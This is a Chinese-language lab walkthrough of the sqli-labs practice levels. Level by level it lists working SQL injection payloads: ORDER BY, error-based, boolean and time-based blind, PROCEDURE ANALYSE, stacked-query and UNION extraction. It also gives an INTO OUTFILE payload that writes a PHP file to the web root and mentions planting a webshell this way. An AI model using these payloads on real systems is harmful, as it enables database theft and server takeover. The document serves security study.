[SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
[SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
select_expr [, select_expr ...]
[FROM table_references
[PARTITION partition_list]
[WHERE where_condition]
[GROUP BY {col_name | expr | position}
[ASC | DESC], ... [WITH ROLLUP]]
[HAVING where_condition]
[ORDER BY {col_name | expr | position}
[ASC | DESC], ...]
[LIMIT {[offset,] row_count | row_count OFFSET offset}]
[PROCEDURE procedure_name(argument_list)]
[INTO OUTFILE 'file_name'
[CHARACTER SET charset_name]
export_options
| INTO DUMPFILE 'file_name'
| INTO var_name [, var_name]]
[FOR UPDATE | LOCK IN SHARE MODE]]我们可利用 order by 后的一些参数进行注入。
首先
(1) order by 后的数字可以作为一个注入点。也就是构造 order by 后的一个语句,让该语句执行结果为一个数,这里尝试:
?sort=left(version(),1)
?sort=right(version(),1)
这两个均没有报错且结果都是一样的,这里我们 version()=5.6.17,说明数字没有其作用。
我们就可考虑布尔类型了!可以利用报错注入和延时注入。
此处可以直接构造 ?sort= 一个参数 。此时我们有三种形式:
- 直接添加注入语句,?sort=(select ***)
- 利用一些函数。例如 rand() 函数等。 ?sort=rand(sql语句)。
注意,实践了一下:
rand(true)和rand(false)的结果是不一样的。
rand(1) 和 rand(0) 的结果是不一样的。
而且,?sort=0.155 和 ?sort=0.405的结果是一样的。
- 利用and,例如 ?sort=1 and ( sql语句 )
注意在此同时,sql语句可以利用报错注入和延时注入的方式,可以灵活构造。
EG:
# 报错注入示范:
?sort=(select%20count(*)%20from%20information_schema.columns%20group%20by%20concat(0x3a,0x3a,(select%20user()),0x3a,0x3a,floor(rand()*2)))
?sort=(select%20count(*)%20from%20information_schema.columns%20group%20by%20concat(0x3a,0x3a,(select%20user()),0x3a,0x3a,floor(rand(0)*2)))
# 这里尝试 rand(0/1) 构造错误,可以显示 root@loaclhost 用户名
# 接下来利用rand()示范:
?sort=rand(ascii(left(database(),1))=115) # rand(true)
?sort=rand(ascii(left(database(),1))=116) # rand(false)
# 这里示范出来的payload结果是不同的,可以得知注入是成功的。
# 延时注入示范:
?sort=1%20and%20IF(ASCII(SUBSTR(database(),1,1))=115,0,sleep(5))
?sort=1%20and%20IF(ASCII(SUBSTR(database(),1,1))=116,0,sleep(5))
# 根据响应时间也可以得知延时注入是成功的。
(2) procedure analyse 参数后注入
利用procedure analyse 参数,我们可以执行报错注入。同时,在procedure analyse 和order by 之间可以存在limit 参数,我们在实际应用中,往往也可能会存在limit 后的注入,可以利用procedure analyse 进行注入。
?sort=1%20%20procedure%20analyse(extractvalue(rand(),concat(0x3a,version())),1)
# 注意:此处在本地进行学习实践时候会sql报错,但是不影响学习payload构造思路。
(3) 导入导出文件into outfile 参数
将查询结果导入文件
?sort=1%20into%20outfile%20%22c:\\wamp\\www\\MySQL_Injection_Linux\\test1.txt%22
# 解释%22是双引号
注意:此时前端显示为空,查询结果直接转存到文件。
这个时候我们可以考虑上传网马,利用 lines terminated by :
into outtfile c:\\wamp\\www\\sqllib\\test1.txt lines terminated by 0x(网马进行16 进制转换)<br>
解释:lines terminated by '\r\n' 表示指定各条记录之间用 '\r\n' 分隔。
本关的 sql 语句为
$sql = " select * from users order by ' $id ' " ;
这里是进行 id 的处理,我们依然进行分类注入。
(1) order by 后的参数
我们只能使用 and 来进行报错和延时注入。给出示例 payload :
# 1. and rand 相结合的方式,payload 如下:
?sort=1%27%20and%20rand(ascii(left(database(),1))=115)--+
?sort=1%27%20and%20rand(ascii(left(database(),1))=115)--+
# 但是需要注意的是,这里我们 rand(true/false) 均都会是一样的结果,但是不影响我们学习注入思路。
# 我们不能使用这种方式进行准确的注入,此处仅供学习参考。
# 2. 可以利用报错的方式进行
?sort=1%27and%20(select%20count(*)%20from%20information_schema.columns%20group%20by%20concat(0x3a,0x3a,(select%20user()),0x3a,0x3a,floor(rand()*2)))--+
# 注意此方式可能在 rand() 上存在不准确的随机值,可以多尝试 rand(0/1) 多尝试几次。
# 这里再放一个报错注入,利用mysql重复项原理:
?sort=1%27and%20(select%20*%20from%20(select%20NAME_CONST(version(),1),NAME_const(version(),1))x)--+
# 3. 延时注入:
?sort=1%27and%20if(ascii(substr(database(),1,1))=115,0,sleep(5))--+
?sort=1%27and%20if(ascii(substr(database(),1,1))=116,0,sleep(5))--+
(2) procedure analyse 参数后注入
利用procedure analyse 参数,我们可以执行报错注入。同时,在procedure analyse 和order by 之间可以存在limit 参数,我们在实际应用中,往往也可能会存在limit 后的注入,可以利用procedure analyse 进行注入。以下为示范:
?sort=1%27procedure%20analyse(extractvalue(rand(),concat(0x3a,version())),1)--+
# 注意这里在学习实验中是报错的,非预期结果,或环境原因,不影响学习思路。
(3) 导入导出文件into outfile 参数
?sort=1%27%20into%20outfile%20%22c:\\wamp\\www\\MySQL_Injection_Linux\\test47.txt%22 --+
# 注意这里是注入,需要添加 --+ ,查询结果会导入到文件中。
# 同样,可以考虑上传网马,这里实践写出 payload:
?sort=1%27%20into%20outfile%20%22c:\\wamp\\www\\MySQL_Injection_Linux\\test47.php%22%20lines%20terminated%20by 0x3c3f70687020706870696e666f28293b3f3e--+
上述语句等价于:sort=1' into outfile dir+filename lines terminate by 0x <?php phpinfo();>的hackbar里的16进制编码 --+
# 然后访问导出目标文件,可以看到php信息页面。
本关与 Less-48 的区别在于前端不回显错误。
给出payload:
# 1. 可以利用 sort=rand(true/falses)
?sort=rand(ascii(left(database(),1))=115) # ascii(s)=115
?sort=rand(ascii(left(database(),1))=116)
# 这里在实验环境结果是不一样的,证明注入思路正确
# 2. 使用 and 后的延时注入
?sort=1%20and%20if(ascii(substr(database(),1,1))=115,0,sleep(5))
?sort=1%20and%20if(ascii(substr(database(),1,1))=116,0,sleep(5))
本关与 Less-48 的区别在于前端不回显错误。
给出payload:
# 1. 利用延时注入
?sort=1%27%20and%20(If(ascii(substr((select%20username%20from%20users%20where%20id=1),1,1))=69,0,sleep(2)))--+
# 2. 利用 into outfile 注入
?sort=1%27%20into%20outfile%20%22c:\\wamp\\www\\MySQL_Injection_Linux\\test49.php%22%20lines%20terminated%20by%200x3c3f70687020706870696e666f28293f3e--+
# 注意记得 lines terminated by 0x...
本关开始,进行 order by stacked injection !
这里使用的是mysqli_multi_query()函数,而之前使用的是mysqli_query()。
区别在于mysqli_multi_query()可以执行多个sql 语句,而mysqli_query()只能执行一个sql 语句。
因此我们可以注入执行多个sql 语句注入 statcked injection。
上述的 sort还是可行的就不重复了,下面给出 stacked injection 的payload:
?sort=1;create%20table%20less50%20like%20users # 创建表成功
本关卡 sql 语句进行了 ' id ' 处理,因此在注入后需要注释最后的单引号,此处给出payload:
?sort=1%27;create%20table%20less51%20like%20users--+ # 创建表成功
本关与 Less-50 的区别在于前端不回显错误。
给出payload:
?sort=1;create%20table%20less52%20like%20users # 创建表成功
本关与 Less-51 的区别在于前端不回显错误。
给出payload:
?sort=1%27;create%20table%20less53%20like%20users--+ # 创建表成功
本系列为进阶学习,主要应用学习。
由前端提示,这一关我们主要考察是字符型注入,且只能尝试十次,以后随机重置数据库。
且这里我们已知数据库名为:CHALLENGES 。
学习实践注入过程:
ID:2000%27%20oR%201=1--+
ID:2000%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27--+
ID:2000%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=%27challenges%27%20and%20table_name=%27tsquqwumms%27--+
ID:2000%27%20union%20select%20sessid,secret_S10L,tryy%20from%20tsquqwumms--+
提交 secret ,前端提示 CONGRATS YOU NAILED IT ,注入成功。
Less-54 -> $sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
本关卡和 Less-54 的思路是一致的,这里就不给出payload了,但是这里再提醒一般常用语句:
- or 1=1--+
- 'or 1=1--+
- "or 1=1--+
- )or 1=1--+
- ')or 1=1--+
- ") or 1=1--+
- "))or 1=1--+
Less-55 -> $sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";
这里和 Less-54/55 思路基本一致,给出payload:
?id=-1%27)%20Or%201=1--+
?id=-1%27)%20union%20select%201,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+
?id=-1%27)%20union%20select%20sessid,secret_L24X,tryy%20from%20ikywajvkei--+
Less-56 -> $sql="SELECT * FROM security.users WHERE id=('$id') LIMIT 0,1";
这里和 Less-54/55/56 思路基本一致,省略 payload 了。
Less-57 ->
$id= '"'.$id.'"';
$sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";
本关卡即使 id=-1 也会返回数据,但允许报错型注入。
给出实验学习payload:
?id=2000' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges' ),0x7e))--+
?id=2000' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='zc095sw0dp' ),0x7e))--+
?id=2000' and extractvalue(1,concat(0x7e,(select concat('_',secret_04AR,'_') from zc095sw0dp ),0x7e))--+
本关卡没有返回数据库中的数据,只是前端显示数据而已,因此不能 union 注入,应该走报错注入思路。
Less-58 -> $sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
本关卡和 Less-58思路基本一致,省略 payload 了。
Less-59 -> $sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";
本关卡和 Less-59思路基本一致,省略 payload 了。
Less-60 ->
$id = '("'.$id.'")';
$sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";
本关卡和 Less-60思路基本一致,省略 payload 了。
Less-61 -> $sql="SELECT * FROM security.users WHERE id=(('$id')) LIMIT 0,1";
此处 union 和报错注入都失效,这里我们就使用延时注入了,此处给出一个示例 payload :
?id=1%27)and%20If(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27),1,1))=119,0,sleep(10))--+
这里使用延时注入,可以适当尝试脚本。
Less-62 -> $sql="SELECT * FROM security.users WHERE id=('$id') LIMIT 0,1";
本关卡和 Less-62思路基本一致,省略 payload 了。
Less-63 -> $sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
本关卡和 Less-63思路基本一致,省略 payload 了。
Less-64 -> $sql="SELECT * FROM security.users WHERE id=(($id)) LIMIT 0,1";
本关卡和 Less-63思路基本一致,省略 payload 了。
Less-65 ->
$id = '"'.$id.'"';
$sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";
- 对工具的使用
- 对整项工作的看法
- 对数据库未来的看法
- 对实验后续的认识